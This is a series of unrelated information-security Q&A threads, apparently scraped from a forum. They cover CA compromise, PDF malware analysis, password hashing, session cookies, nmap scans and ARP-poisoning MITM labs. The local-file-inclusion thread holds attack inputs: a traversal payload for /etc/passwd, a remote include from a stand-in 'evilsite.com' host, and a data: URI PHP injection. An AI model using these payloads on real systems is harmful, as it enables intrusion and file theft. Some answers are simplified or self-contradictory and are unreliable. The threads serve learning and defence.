What's the mitigation strategy for when a CA's private key is stolen? I'm new to SSL/TSL and was wondering if you could walk me through the following scenario.

Scenario

Let's say I am one of a thousand websites that has a certificate signed by some certificate authority (CA).

Everything is fine.

Breach

Then, some evil hacker steals the CA's private key. Now, all of a sudden, all thousand website's certificates are untrustworthy because the hacker can issue certificates signed with the stolen private key and one can't distinguish between real and fake certificates anymore.

The CA revokes his stolen certificate, so I end up with a website that no browser recognizes as trustworthy anymore.

Mitigation

What do I do now?
I've read these questions:

What can an attacker do with a stolen SSL private key? What should the web admin do?.
What happens when an Intermediate CA is revoked?

Now, I got to run and get a new certificate signed by a still trusted CA.

Question

Therefore, I was wondering: what should I have done in advance so that once the CA's private key is stolen, I don't have to run, but can lean back and don't have to worry about it?

Should I have a second certificate ready which was signed by another CA which I can deploy once the other one gets untrustworthy?

Can my old certificate be simultaneously signed by a second CA so that it stays valid even if one CA's private key is compromised?

What mitigation scenarios are there?

Real cases

The question came up after reading these cases:

Microsoft revokes trust in certificate authority operated by the Indian government
DigiNotar
Comodo Group Issues Bogus SSL Certificates

A stolen CA private key is a bad situation indeed. Response depends on the extent of the breach, and the context.

First, it may be so that the CA private key was not exactly stolen, but merely used improperly. For instance, in the case of the Comodo event, the compromise was on Registration Authority accounts. The RA is the component who tells to the CA what to put in certificates; the RA is the part that actually maps physical identities to the physical world. In that case, the CA key was not stolen, and though certificates with wrong contents were issued, the CA still had reliable knowledge of all issued certificates. It thus sufficed to revoke the fake certificates themselves, not the CA. This is the good case, where damage is contained.

If the CA key was used and there is no reliable way to have an exhaustive list of the fake certificates, or it the CA private key was actually stolen and is now under control of the attacker, then the corresponding certificate will need to be revoked. This is done not by the CA itself, but by its upper CA.

Then, to repair all the honest sites who just "disappeared" through such revocation, a new CA can be installed, and automatically emit new certificates for all the previous clients (this assumes that we still have all the issued "honest" certificates somewhere). It suffices to copy the identities and names from the old certificate to the new one.

For business reasons, it may be negotiated to delay the compromised CA revocation until the new CA and new customer certificates have been created and deployed. There is not a lot of margin for that, though.


Google Public DNS- private enough? Google claims that they do not keep any personally identifiable information but they do keep a user's ISP and geo-location information including the geocode, as shown here.

To keep the question objective: Isn't geocode and ISP combination likely to be personally identifying, specially if one lives in a house?

geocode is not always precise and personally, for the cases I faced, it has never been that precise (see the location_type parameter in The Google Maps Geocoding API)

Also, from the link you provided, it says:

  We don't correlate or combine information from our temporary or
  permanent logs with any personal information that you have provided
  Google for other services.

And the permanent samples Google collects are done randomly. Also, there are not lot of ISP providers per country (check the case of France, for example) so it is hard to use that to identify a particular person.

To conclude, if we trust the official documentation you linked to, I do not see any serious privacy concern in that.


Public key Infrastructure Here the MD5 hash is being encrypted with the private key of the sender. But I read in a paper that private key is only used for signing and not encrypting. Is the image wrong or can private key also be used in the way that is shown in the image?

Signing actually means encrypting the hash of the message with the private key, so yes it's correct. That means you decrypt the hash with the sender's public key, therefore you can be certain the sender wrote that message (provided that the hash you compute matches the one you decrypt).


Extract malicious code from PDF file I've a PDF file that contains some malicious code; when opened the processor usage maxes out and the fans run at full rpm. The pdfid.py produces the following output:

PDF Header: %PDF-1.7
 obj                 8598
 endobj              8598
 stream              8001
 endstream           8001
 xref                   0
 trailer                0
 startxref              2
 /Page                594
 /Encrypt               0
 /ObjStm              981
 /JS                    1
 /JavaScript            0
 /AA                    2
 /OpenAction            1
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /URI                   0
 /Colors > 2^24         0

/JS indicate that there's one JavaScript code and /AA and /OpenAction indicate that there are code which will launch the JavaScript code.

However using the pdf-parser.py tool, searching for keyword javascript produces no matches:

python ./pdf-parser.py --search javascript ./document.pdf

But searching for keyword OpenScript returns one match.

python ./pdf-parser.py --search openaction --raw ./document.pdf

result:

obj 33412 0
 Type: /Catalog
 Referencing: 37640 0 R, 4364 0 R, 37641 0 R, 33413 0 R, 18188 0 R, 33259 0 R, 33264 0 R, 18275 0 R, 37642 0 R
<</MarkInfo 37640 0 R/Metadata 4364 0 R/Names 37641 0 R/OpenAction 33413 0 R/Outlines 18188 0 R/PageLabels 33259 0 R/PageLayout/SinglePage/PageMode/UseNone/Pages 33264 0 R/StructTreeRoot 18275 0 R/Type/Catalog/ViewerPreferences 37642 0 R>>

  <<
    /MarkInfo 37640 0 R
    /Metadata 4364 0 R
    /Names 37641 0 R
    /OpenAction 33413 0 R
    /Outlines 18188 0 R
    /PageLabels 33259 0 R
    /PageLayout /SinglePage
    /PageMode /UseNone
    /Pages 33264 0 R
    /StructTreeRoot 18275 0 R
    /Type /Catalog
    /ViewerPreferences 37642 0 R
  >>

Executing:

python ./pdf-parser.py --reference 33412 --raw ../document.pdf

result:

obj 37639 0
 Type: /XRef
 Referencing: 33410 0 R, 33412 0 R
 Contains stream

  <<
    /DecodeParms
      <<
        /Columns 5
        /Predictor 12
      >>
    /Filter /FlateDecode
    /ID [<0B1CC64D68284D90BD0A295FADB0972A><08CB936A1AF9EB42A906D26EC2F80EFA>]
    /Index [33411 15558]
    /Info 33410 0 R
    /Length 7901
    /Prev 15523287
    /Root 33412 0 R
    /Size 48969
    /Type /XRef
    /W [1 3 1]
  >>

obj 4368 0
 Type: /XRef
 Referencing: 33410 0 R, 33412 0 R
 Contains stream

  <<
    /DecodeParms
      <<
        /Columns 5
        /Predictor 12
      >>
    /Filter /FlateDecode
    /ID [<0B1CC64D68284D90BD0A295FADB0972A><08CB936A1AF9EB42A906D26EC2F80EFA>]
    /Info 33410 0 R
    /Length 8135
    /Root 33412 0 R
    /Size 33411
    /Type /XRef
    /W [1 3 1]
  >>

Finally running

python ./pdf-parser.py --object 4368 --raw --filter ./document.pdf

produces a binary output that I cannot decompress.

Can someone please point out my mistake or tell me how to extract the JavaScript and OpenAction code for viewing?

Use any Hex Editor, to split open the contents of the PDF file(aka image, text, javascript code etc). You can validate your file's contents henceforth and filter the javascript or suspicious code.


Is flash or javascript a bigger security concern? Many flash website whitelisting extensions for chrome (such as flashblock and flashcontrol) use javascript in order to selectively block Adobe Flash from functioning.  Thus, In order to get this functionality, I have to enable javascript for the site resulting in a different kind of possible security vulnerability.  This forces you to choose one or the other.  Which would you be more concerned about in this situation?

The answer is: yes.  You should always worry about software.

"Complexity is the worst enemy of
secuirty"
--Bruce Schnieir

That being said, even if your machine is fully patched, one of the many Flash 0-days could still compromise the machine. XSS is exploitable regardless of if your machine is patched.  This flaw is usually exploited with JavaScript but it can be exploited with Flash as well, so having either of them would be a problem.  It's also important to note that about 90% of websites won't work without JavaScript, so disabling it is very problematic. GET based CSRF vulnerabilities can be exploited with pure HTML,  so even if Flash and JS are disabled you can still be hacked.
What I would do:
Use Firefox with NoScript. Even if JavaScript is globally enabled NoScript will block most CSRF and XSS attacks. Install an anti-virus and keep the machine up to date.


CRL date formats and conversion from GMT to epoch I am running few security algorithms on my product and would like know few general details about the CRLs (Certificate Revocation Lists).
I am using the following command openssl asn1parse -inform DER -in signed.p7s >> sign_extract.txt to extract the information(crls) from my CA signed file(signed.p7s).Based on the string "id-smime-aa-timeStampToken" i am extracting the time information from offset and length of that particular field (sign_extract.txt). Below is the extracted time stamp

Time stamp: Oct  8 15:04:56 2020 GMT Accuracy: 0x02 seconds,
unspecified millis, unspecified micros

My questions are:

The time present in CRL, is it always going to be in GMT or can have different format?

Most of my devices are set with some old date, so when running my algorithms i am extracting the time info as above and run my secure algorithms for validity of certificates.

Is it ok if we extract using "id-smime-aa-timeStampToken" or we have any other generic way?

My final aim is convert the time into unix epoch,is there any generic way to do that?

EDIT 1: This is from the example of man page timegm, on how to set & clear the timezone once the conversion is complete. Added just for the completeness.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int main(void)
{
    struct tm tm;
    char buf[255];
    char *tz;
    tz = getenv("TZ");
    if (tz)
        tz = strdup(tz);
    setenv("TZ", "", 1);
    tzset();

    memset(&tm, 0, sizeof(struct tm));
    strptime("Oct 8 15:04:56 2020 GMT", "%B %d %H:%M:%S %Y GMT", &tm);
    strftime(buf, sizeof(buf), "%s", &tm);

    if (tz) {
       setenv("TZ", tz, 1);
      free(tz);
    } else
     unsetenv("TZ");
    tzset();
    puts(buf);
    exit(EXIT_SUCCESS);
}

RFC 5280 §4.1.2.5.1 and §4.1.2.5.2 state Validity times must be in Greenwich Mean Time (Zulu).

I don't know.  A better way than dumping text to a file?  I'm not clear what you're looking for here.

Using C, you can use strptime() to convert the string into a time structure, and strftime() to convert that time structure into epoch seconds.  This modified example comes from man strptime:

#define _XOPEN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int main(void)
{
  struct tm tm;
  char buf[255];
  memset(&tm, 0, sizeof(struct tm));
  /* Because strptime doesn't actually handle timezone */
  setenv("TZ", "", 1);
  tzset();
  strptime("Oct 8 15:04:56 2020 GMT", "%B %d %H:%M:%S %Y %Z", &tm);
  strftime(buf, sizeof(buf), "%s", &tm);
  puts(buf);
  exit(EXIT_SUCCESS);
}

And as you can see, it prints out the epoch time for the time string you've provided:
$ ./foo
1602169496
$


Available alternatives for exchanging public keys for emailing What alternatives exist for exchanging public keys with another person for sending email, except the obvious way of manually pasting the public key into an email saying, "Here is my public key"?

Do email clients who support encryption usually fetch the keys from key servers automatically (based on the other person's email address) so you don't even have to think about it?
If one doesn't use key servers,  do email clients have a built-in method of exchanging public keys without human intervention, except possibly clicking "OK" to accept the exchange?

As this is asked on Information Security, it's crucial to first concentrate on how the keys should be trusted. Unlike SSL PKI with certificate authorities (CA), PGP is based on a web of trust. Anyone could send you an email with a self signed PGP public key, claiming it's really the key of the sender. It's as easy to spoof as the email itself. The responsibility of accepting and trusting it is on recipients side. Building such feature to email clients would create false sense of security.

Retrieving keys directly from key servers sounds like a bit better idea, but it doesn't actually give any guarantee, either. Anyone can send keys and signatures to the key servers and it's better to manually check who else trusts the unknown key, unless you can't check from independent source that the fingerprint matches. The keys would be retrieved using a keyring management software instead of the email client; e.g. the Kleopatra certificate manager and GUI for GnuPG a built-in functionality for this.

Best method for validating a key would be to ask personally, but I'd publish the key on a CA signed TLS protected web site, possibly with a DNSSEC signed IP address. This way your key would be behind two independent public key infrastructures (SSL + DNSSEC), making the source quite trustworthy regardless who have signed your key and could the recipient trust your web of trust.

For example, many national computer emergency response teams (CERT) publish their PGP keys on their HTTPS websites, and some are properly signed with DNSSEC, too:

US-CERT, SSL from GeoTrust, some problems with DNSSEC on Akamai
JPCERT, SSL from Cybertrust Japan AV CA G2, perfect DNSSEC chain
NCSC of New Zealand, SSL from COMODO, some problems with DNSSEC
CERT-FI, SSL from Thawte TLS SRA CA G1, perfect DNSSEC chain
check yourself how has the CERT team of your country arranged this. :)

There is an experimental RFC 7929 for DNS-Based Authentication of Named Entities (DANE) Bindings for OpenPGP from 2016, introducing a new DNS Resource Record (RR) type, OPENPGPKEY. This would be easy to automate on an email client. However, the RFC 7929 itself notice the problems with the security of this approach (section 7.6):

  Anyone who can obtain a DNSSEC private key of a domain name via coercion, theft, or brute-force calculations, can replace any OPENPGPKEY record in that zone and all of the delegated child zones. Any future messages encrypted with the malicious OpenPGP key could then be read.

  Therefore, an OpenPGP key obtained via a DNSSEC-validated
  OPENPGPKEY record can only be trusted as much as the DNS domain can
  be trusted, and is no substitute for in-person OpenPGP key
  verification or additional OpenPGP verification via "web of trust"
  signatures present on the OpenPGP in question.


Why are db_nmap results filtered, but Nmap is not I've recently started playing with Kali on VMWare Player and Metasploitable 2 on VmWare Player. Both are on the same (default install) subnet. Metasploitable 2 has 2 adapters: settings:NAT and Host only, while Kali has only NAT.

If I run Nmap from Kali outside MSFConsole I get open ports:

root@kali:~# nmap -p0-65535 192.168.233.129

Starting Nmap 7.00 ( https://nmap.org ) at 2015-11-21 11:41 EST
Nmap scan report for 192.168.233.129
Host is up (0.00011s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
40319/tcp open  unknown
44229/tcp open  unknown
52677/tcp open  unknown
55486/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.92 seconds

When I run db_nmap within MSFConsole I get all ports are filtered:

msf > db_nmap -p 1-4000 192.160.233.129
[*] Nmap: Starting Nmap 7.00 ( https://nmap.org ) at 2015-11-21 11:42 EST
[*] Nmap: Nmap scan report for 192.160.233.129
[*] Nmap: Host is up (0.00089s latency).
[*] Nmap: All 4000 scanned ports on 192.160.233.129 are filtered
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 97.35 seconds

Before running these commands today I did:

apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

Yesterday, (I did an apt-get update && apt-get upgrade) I was getting the same Nmap results, but all ports closed on the Metasploitable VM.


Local File Inclusion to RCE using PHP File Wrappers Suppose we have code that looks something like this:

<?php include("includes/".$_GET['param1'].".php");?>

Now the above code is vulnerable to LFI. If I pass payload ../../../../etc/passwd%00it works perfect and I get the file.

However I'm trying to achieve remote code execution using the above LFI vulnerability. Is there a possibility here to use PHP file wrapper "php://input" to get RCE?

The problem here I think is the includes/ folder in the path and how to bypass that.

You can't use include() to leverage LFI into dynamic RCE. You would have to already have a file with code in it (i.e., evil-RCE-code.php) on the system to call. For example:

  If an application passes a parameter sent via a GET request to the PHP
  include() function with no input validation, the attacker may try to
  execute code other than what the developer had in mind.

  The URL below passes a page name to the include() function.

  http://testsite.com/index.php?page=contact.php

  The file "evil-RCE-code.php" may contain, for example, the phpinfo()
  function which is useful for gaining information about the
  configuration of the environment in which the web service runs. An
  attacker can ask the application to execute his PHP code using the
  following request:

  http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php

Source (Disclaimer: I added the "-RCE-" part to make it easier to see where the RCE goes.)

Take a look at this for a different approach:

  Good approach is to use file inclusion as follows:
  <?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH
  .'lib.php');?>

  Let’s now take a look at another example, consider the
  following page:

  http://localhost/index.php?file=page1

  page1 is the file that is dynamically included into the webpage, by
  looking at the above url, we can assume that the backend would be
  using the following code:

  And now imagine that attacker changes value of variable “file” to
  following:

  http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>

  LFI can easily be converted to remote code execution (RCE) in one way
  more. This new data protocol has appeared in PHP 5.2.0 and in older
  versions will not work. Also PHP will argue and would not allow to use
  it if allow_url_include=off which results in a full path disclosure.

  There are other possibilities how code can be injected and later
  evaluated; via apache log files, using “/proc” and others. Without a
  doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input, and others represent a
  threat as well.

Full Article

More Background Info and Reading


Can an Android app steal cached/stored passwords from other apps on my phone Can an android app steal a stored password from any other app I have installed?

Say I have snapchat and I only log in once and stay logged in, if I later delete the cache from that app it will log me out.

Are the stored passwords vulnerable?

Welcome Alfredo :)
TL;DR
No. Android apps are "sand-boxed" inside their own user in the operation system. So unless Snapchat/you Android version have a specific vulnerability (and if you update your phone this shouldn't happen), other apps are not able to get stored passwords.
Application Sandbox in Android
Android is based on the Linux operation system. Thus, it isolates apps from each other and protects apps and the system from malicious apps.
To do this, Android assigns a unique user ID to each Android application, which means all the application files, unless defined otherwise, are protected and accessible only to this specific application (user id).
Other mechanisms for saving users passwords
Android also implemented an account manager, in order for apps to save tokens and passwords securely. In short - that's an encrypted DB that is managed by the operation system itself, and every app could save tokens/passwords using it, in a secure manner.


Can a virus infected usb stick infect a MacBook by connecting to it? My PC running on windows 10 was recently infected with a virus/trojan. I inserted a usb to it at some point , and connected it to my MacBook for clean formatting (I was using my MacBook to wipe it in hopes of getting rid of the virus).

I did not transfer any files from the usb to my MacBook, I have transferred a pdf file from my MacBook to the USB.

Under these circumstances, can my MacBook be infected with a virus this way?

As I understand your question:

You used a known thumb drive i.e. not an unknown device that looks like a thumb drive.

You may have infected a file on the thumb drive from an infected Windows Machine.

You plugged the thumb drive into your Mac and formatted the thumb drive.

You wrote a file to the freshly formatted drive from your Mac.

If I have interpreted correctly, then there is no mechanism I've ever heard of that could have infected your Mac.

Even with a more cavalier approach, cross platform malware is rare. Relax, you're good!


Is "the oft-cited XKCD scheme [...] no longer good advice"? I was stumbling around and happened onto this essay by Bruce Schneier claiming that the XKCD password scheme was effectively dead.

Modern password crackers combine different words from their dictionaries: [...]
This is why the oft-cited XKCD scheme for generating passwords -- string together individual words like "correcthorsebatterystaple" -- is no longer good advice. The password crackers are on to this trick.
The attacker will feed any personal information he has access to about the password creator into the password crackers. A good password cracker will test names and addresses from the address book, meaningful dates, and any other personal information it has. [...] if your program ever stored it in memory, this process will grab it.

His contention seems to be that because it's known that people might construct their passwords in such a way that it makes it amenable to attack, but it seems like the strength lies purely in the power of exponents. I assume he's alluding to people not choosing the words truly randomly, which perhaps isn't totally disingenuous, as I've rerolled a couple times to get something that isn't all adverbs and adjectives. However, I assume that lowering the entropy by a factor of 2-10 isn't really significant (if the word list is doubled to 4000, not that hard, the loss is more than recovered).
The other quip about "if your program ever stored it in memory" is a bit disconcerting though...aren't all passwords stored in memory at one time or another? That seems a bit overbroad; what is he actually referring to?

The Holy War
I think you will find that the correct way to generate passwords could start a holy war where each group thinks the other is making a very simple mathematical mistakes or missing the point. If you get 10 computer security professionals in a room and ask them how to come up with good passwords you will get 11 different answers.
The Misunderstanding
One of the many reasons there is no consistent advice about passwords is it all comes down to an issue of threat modeling. What exactly are you trying to defend against?
For example: are you trying to protect against an attacker who is specifically targeting you and knows your system for generating passwords? Or are you just one of millions of users in some leaked database? Are you defending against GPU based password cracking or just a weak web server? Are you on a host infected with malware[1]?
I think you should assume the attacker knows your exact method of generating passwords and is just targeting you.[2] The xkcd comic assumes in both examples that all the details of the generation are known.
The Math
The mathematics in the xkcd comic is correct, and it's not going to change.
For passwords I need to type and remember I use a python script that generates xkcd style passwords that are truly random. I have a dictionary of 2^11 (2048) common, easy to spell, English words. I could give the full source code and a copy of my list of words to an attacker, there are still going to be 2^44 possible passwords.
As the comic says:

1000 Guesses / Sec
Plausible attack on a weak remote web service. Yes, cracking a stolen hash is faster, but it's not what the average user should worry about.

That strikes a nice balance between easy to remember and difficult to crack.
What if we tried more power?
Sure 2^44 is ok, but GPU cracking is fast, and it's only going to get faster. Hashcat could crack a weak hash[3] of that size in a number of days, not years. Also, I have hundreds of passwords to remember. Even xkcd style it gets hard after a few.
This is where password managers come in, I like KeePass but there are many others that are basically the same. Then you can generate just one longer xkcd pass-phrase that you can memorize (say 10 words). Then you create a unique 128-bit truly random password for each account (hex or base 64 are good). 128-bits is going to be strong enough for a long time. If you want to be paranoid go larger, it's no extra work to generate 256-bit of hex passwords.

[1] This is where the memory thing comes in, if you're on a compromised host you have lost. It doesn't matter if you type it or use a program like KeePass to copy and paste it if an attacker can key-log / read memory.
[2] Rather than the weaker (but more likely) assumption that the attacker has just torrented a dictionary called "Top Passw0rdz 4realz 111!".
[3] Sure we should all be using PBKDF2, etc... but lots of sites are still on SHA1. (and they are the good ones)


Interested in MS in IT/Information assurance. Will my mathematics background be of any use? I earned my BS in math, worked a few analytics jobs, and over the past year have been debating going back to school for an MS in IT/IA (I started considering it seriously after passing the Security+ cert with ease).

I understand that a computer science background would have been more applicable, but are there any careers in the IT/IA discipline which would leverage (even slightly) my foundation in mathematics?

First of all, if you had an easy time with the Security+ certification, it sounds like you probably wouldn't have many issues with understanding the basics, and therefore I don't think you should worry too much about your background.

Now, that said, certain branches of mathematics do have direct practical applications in IT/IA:

Any background in statistical analysis is likely to be invaluable, especially for IA.  Risk assessments are a really big part of IT work, not just security related stuff, but even deciding when to replace old hardware, how much redundancy is needed in a given service configuration, and similar things.  It also helps with understanding performance data from software (actually understanding how the data was produced is big).
Basic set theory (more specifically the algebra of sets) is often very useful in reasoning about failure domains, both in hardware, and in software, which is helpful when doing risk assessments.
Information theory is, somewhat obviously, really helpful if you're doing low-level design of software.  It still has practical uses beyond that in designing security policies, but is not as widely used as you might think.

Many other branches of mathematics have much more specific applications, examples include:

Lambda calculus is rather critical if you're writing code in certain programming languages.
Much of high-level computer networking is really just graph theory with some extra stuff on top of it.  In fact, there's such a strong correlation that many networking specialists would have very little difficulty taking a course on graph theory as they already know a decent percentage of it.

Even without any of that though, the foundations in logical analysis and problem solving that studying mathematics gives you are useful even without any other background.


Can a website detect remote operation of a computer? I was wondering if a website I am visiting can detect whether or not the computer that is being used is being operated remotely.

For example...

I have two desktops. I use Desktop 1 to remotely operate Desktop 2 through windows' Remote Desktop Connection. Through this connection, I visit a website on  Desktop 2. Would it be possible for the website to detect the fact that Desktop 2 is being remotely operated? (Not detect Desktop 1, but just detect remote operation in general).

There is no API or simple test a website can perform to know if there is a remote desktop involved. So they easy answer is no.

But I would guess that your mouse movement and maybe also your typing is slightly different when using a remote desktop, due to lag. In the same way that Google reCAPTCHA uses mouse movement and typing data to differentiate humans from bots, it is concievable that you could spot a remote desktop user. But it would require training some sort of AI, and a lot of work, for no clear benefit.

So is it possible? In theory, maybe. Does it happend in practice? No.


Why can't a hacker just obtain a new SSL certificate for your website? SSL is meant to protect your website from a man-in-the-middle attack.

But if someone is able to do that, couldn't that just request a new certificate from a CA and then modify the traffic sent from the CA to the server (which obviously can't be encrypted) to pass whatever test the CA requires as verification of ownership?

Being able to MitM a certificate authority is perhaps not as trivial as you imagine.  You don't know what machine they're using to evaluate ownership, and hopefully they aren't doing this over Starbucks wifi.

Certificates apply to domain names, not machines or IP addresses, and thus ownership is generally not verified by testing responses given by a certain HTTP server.  For instance, taking a look at Mozilla's requirements for CAs,

  We consider verification of certificate signing requests to be acceptable if it meets or exceeds the following requirements:

  all information that is supplied by the certificate subscriber must be verified by using an independent source of information or an alternative communication channel before it is included in the certificate;
  for a certificate to be used for digitally signing or encrypting email messages, the CA takes reasonable measures to verify that the entity submitting the request controls the email account associated with the email address referenced in the certificate or has been authorized by the email account holder to act on the account holder’s behalf;
  for a certificate to be used for SSL-enabled servers, the CA takes reasonable measures to verify that the entity submitting the certificate signing request has registered the domain(s) referenced in the certificate or has been authorized by the domain registrant to act on the registrant’s behalf;
  for certificates to be used for and marked as Extended Validation, the CA complies with Guidelines for the Issuance and Management of Extended Validation Certificates version 1.4 or later.

So you would need to either MitM the connection between the CA and a DNS server, or compromise the site's DNS (the more likely one).


Passportjs security token security I am using Express js web framework and Passport js library for authentication. Everything is working fine but I have a doubt.

To maintain a persistent login session passport js uses cookie session and it saves two cookies inside user's browser. One is session and another is session.sig. I am also having authorization module in my app which comes after passing the authentication.

My problem is when two users are logged in and both are having different roles (rights and permissions). If one of the users is copying the session and session.sig value from another user's browser and pasting inside own browser's cookie then he is able to get his account details and rights.

So it is a vulnerability or it is a general thing?

What if someone uses a web-proxy tool like "Burp"?

Thank you.

Session tokens are considered secret, if you copy them from one browser to another then it's normal that you can actually access it as your applications looks at these values to verify identity.

If you are using a web-proxy tool like burp, attackers have already succesfully performed a man-in-the-middle. That's why we use SSL/TLS: to encrypt the traffic so that this sensitive token doesn't leak.

There are some mitigating actions you could take such as checking the user agent or the IP addresses for each session. If these change then you immediately invalidate the session.


Is QUIC (Quick UDP Internet Connections) safe to allow through firewall? Our firewall currently blocks QUIC (UDP 443) traffic which seems to be enabled by default in Google Chrome. Is it safe to allow QUIC or should I wait until it is implemented in all the major browsers?

I understand that it's been developed as an experimentation by Google aiming to enhance web application performance.

QUIC by itself is no more dangerous than TCP, UDP, HTTP ... . What matters is the content transferred with the protocol. If you use your firewall only as a simple packet filter and don't do any content inspection (i.e. malware, URL filter etc) then it does not matter much if you allow QUIC or not. If instead your firewall is used to analyse HTTP(s) traffic than it might be a good idea to drop QUIC traffic so that the browser will continue to use HTTP(s) and not bypass the analysis with a protocol your firewall does not understand.


Rate my idea: NodeJS as root behind Apache as a proxy with password I'm the admin of a small Linux server owned by a relative of mine. He's fairly tech savvy, but more at a level of a power user than an expert. I want to make a handy visual tool for him that would allow to do some simple server tasks: add/remove users and change their passwords; set up/remove websites; set up/remove mailboxes (I've decoupled those from system users so it's a separate task if needed); and perhaps something else as needed.

Most of these things can be done from command line and some require the editing of some config files, but lengthy incantations with a lot of changing parts is just asking for trouble. I'd rather have a handy script.

The trouble is: most of these tasks require superuser permissions. He already has that, so I could make a textmode tool (which requires to be run as root), but a website would be so much nicer.

There's already an apache webserver in place on ports 80/443, bit running that as root would obviously be a lousy idea. Similarly, I don't want to store root password anywhere.

So I had the idea of making the website in NodeJS and running the Node process as root, listening only on a specific port which only accepts incoming connections from localhost. Then Apache would be a non-elevated proxy in front of the NodeJS app. In addition, both Apache and NodeJS would ask for a password (taken from the same .htpasswd file).

If you can't enter the password to Apache, you can't even get to Node. If you hack Apache (or have access to some local account) you still need the password to get the Node app to cooperate.

Would this be safe enough? Ok, that's kinda subjective, but considering that I'm more worried about opportunistic hackers from outside than malicious local users, would this be ok? There's really nothing of much value stored on the server; I don't expect anyone to do targeted hacking because there's not much to gain (Wanna see pictures of my kids? You're welcome...) I consider automated scanners and hackers trying to add to their botnets/db leaks the main threat. Any other suggestions on how to achieve this maybe?

You might want to think about running the web server with the normal level of permissions, then setting up the application to store the commands in a text file on the server.  Then, a script running on the server with root permissions (either a cron job, or a daemon) can read the commands from the text file and execute them.

This way, you'll achieve your goal of providing your user with a web interface for executing these commands, without running a web server as root.  Of course, you'll also want to think carefully about authenticating your user securely.  As a second layer of security, you'll probably also want to not allow the user to run arbitrary commands, and restrict the commands that can be run to only those on a whitelist that you specify, and protect against command line injection attacks.


Best ways to store a password Server side I was using Lotus Notes today and I realized that the program asks password is encrypted in many ways. even without access to the stored passwords notes I can say that they are at least as recorded in 3 different ways:

replaces the characters as you type your password: Type A but he writes in the field abc123.
Generates a color for the password: password foobar generates the color blue.
Generates an image.

With all that we can check the user with more security than just plain text password.

I want to know is not a good question, but tips ...
How do you guys store these passwords?

Just hash? or in a hash and salt? or with more than a field to check?

I think the best way for me is:

generate a salt and store it
generate the password hash using the password in plain text and salt
Using this string generated to calculate a color and a number from 1 to 10
And store everything (salt, hash (salt & password), color, number)

So we need to sign the hash (salt & password) match while also matching color and number.

I know that security is never perfect, but this is a good solution?

what you think?

you guys have a better idea?

from now, thanks

EDIT

I'm sure Lotus Nores stores color and image, that's not the point

I'm not being specific to Lotus Notes, I would like a broader opinion that solutions can use in various languages and different database.

I wonder if there is a solution for password storage better than the proposal.

hypothetically if I use md5 hash or secure hash, I do not care.
I want to know is if this encryption solution is strong and if there is a better solution.

Matching color and number? Are you sure that information is stored rather than calculated? I suspect only a password hash is actually being stored. The rest is probably determined on the fly by a client-side algorithm. You should only store, and can only verify information that is input by the user. Unless the user is selecting a color or image as part of the authentication process, that's probably just a flashy interface and not an authentication method. Your question needs more clarity on that for those of us who don't work with Lotus on a regular basis.


Does this kind of hashing exist? Let's say you have two user defined strings, X, Y and you want to hash them into the hash Z. That is what most websites would do, X is the user's password and Y is the salt. It takes a lot of time to turn Z back to X + Y.

What I am looking for, is this plus having the ability to get back X if given Y , Z. So if F was a function where F(X , Y) = Z (acting like SHA1, SHA2, etc), I want a function F' where F'(Z , Y) = X. Is there any kind of hashing algorithm that resembles this?

It looks like public-private key encryption where Y is your public key and X is your message, producing Z, then using a alternate Y private key you can combine it with the Z to recover your message X, but what I want is the ability for X, Y to be arbitrarily user defined. Is this theoretically possible? If so does there exist this kind of "Triangular" encryption algorithm?

I read about https://mysocialcloud.com/ today which is a service that holds ALL your internet passwords in one account. I am almost certain they are storing the passwords in plain text, or even if they encrypted, their server has both the key and the encrypted data, and if it is accessed by an attacker, they would be able to recover all of the users' passwords.

Then I thought about the kind of hashing I mentioned above, how it would work is:

A user sets a "security token" like a password, that is different to their account password. When the user enters their passwords on the services' form, the password is hashed, client side using the function F(X, Y) = Z where Y is their security token and Z is the "hash". Only the "hash" gets stored at the server. When the user wants to recover all of their stored passwords, the server sends the client the "hash"es, which can be decoded using the user's security token, in the client itself.

With this method the service won't be storing any password data in plain text.

Yes, this is same as Private Key Cryptography

  Symmetric-key algorithms are a class of algorithms for cryptography that use the same cryptographic keys for both encryption of plaintext and decryption of ciphertext.

Z=F(X,Y) is same as C=F(P,K) where C=Ciphertext, F=symmetric algorithm used, P=plain text, and K=user defined key.

AES and Blowfish are two commonly used algorithms.


Git bash shellshock vulnerability I have installed Git for Windows with bash shell support. Is it vulnerable to ShellShock?

Refs:

GitHub's Bash Shell for Windows is vulnerable to Shellshock. Can it do any harm though?
https://stackoverflow.com/questions/16757393/what-is-the-difference-between-git-bash-and-the-github-for-windows-shell

The article you linked to clearly stated that it was vulnerable.  However, it's pretty hard to leverage "shell shock" in "BASH" on Windows for git.  You're still restricted to the users permissions, and their git code repository on their file system.

Additionally, there are far fewer attack vectors that exploit shell shock on Windows than on their *nix counterparts.  I'd be gobsmacked if I saw a windows process invoke a bash shell.


Why does Driftnet capture only part of the image? I'm simulating Driftnet (using Kali Linux) on VMware Workstation.

I do an ARP poisoning MITM attack first to capture all the packets between two virtual machines (both Windows), then I open Driftnet.

When I capture images sent from one VM to another only part of the image gets captured. I've tried many images of different sizes, it's always the same.

